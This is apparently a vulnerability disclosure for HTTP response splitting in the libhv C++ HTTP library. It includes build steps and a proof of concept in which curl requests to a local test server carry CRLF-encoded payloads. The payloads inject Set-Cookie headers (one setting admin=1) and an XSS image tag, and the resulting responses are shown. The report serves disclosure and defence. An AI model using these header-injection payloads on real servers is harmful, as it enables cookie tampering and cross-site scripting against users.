Project: libhv
Tested Version: v1.3.0
(commit 579938146ff0cd99d379c038bea80d3241c5bc36
)
Github Repository: https://github.com/ithewei/libhv
libhv
is vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values. An attacker can add the \r\n
(carriage return line feeds) characters to end the HTTP response headers and inject malicious content, like for example additional headers or new response body, leading to a potential XSS vulnerability.
References about this vulnerability and its impact:
- https://owasp.org/www-community/attacks/HTTP_Response_Splitting
- https://cwe.mitre.org/data/definitions/113.html
References to similar issues affecting other projects:
Install and build the project https://github.com/ithewei/libhv#%EF%B8%8F-build
git clone https://github.com/ithewei/libhv.git
cd libhv
mkdir build
cd build
cmake ..
cmake --build .
The PoC demonstrates how it's possible to add arbitrary headers and response body if user controlled values are used to set the headers value.
-
paste the
http_server_test.cpp
content under https://github.com/ithewei/libhv/blob/master/examples/http_server_test.cpp -
start the server
cmake --build .
./bin/http_server_test
- run the following
curl
commands to observe the response (or directly open the links in the browser to see the xss alert)
curl -i -X GET "http://localhost:8080/test1?name=test%0d%0aSet-Cookie:foo%3Dbar%0d%0aContent-Type:text/html%0d%0a%0a%3Cimg+src%3dx+onerror%3dalert(%22hello%22)+/%3E%0d%0a"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 39
Content-Type: text/plain
Date: Tue, 16 May 2023 10:28:06 GMT
MyHeader: User-test
Set-Cookie:foo=bar
Content-Type:text/html
<img src=x onerror=alert("hello") />
curl -i -X GET "http://localhost:8080/test2?location=test1%0d%0aFoo:+Bar%0d%0aSet-Cookie:admin%3D1"
HTTP/1.1 301 Moved Permanently
Connection: keep-alive
Content-Length: 0
Date: Tue, 16 May 2023 10:28:19 GMT
Location: test1
Foo: Bar
Set-Cookie:admin=1
Server: httpd/1.23.5.16
If untrusted user input is placed in header values, a malicious user could inject additional headers or new response body, leading to a potential XSS vulnerability or a number of other issues.
Alessio Della Libera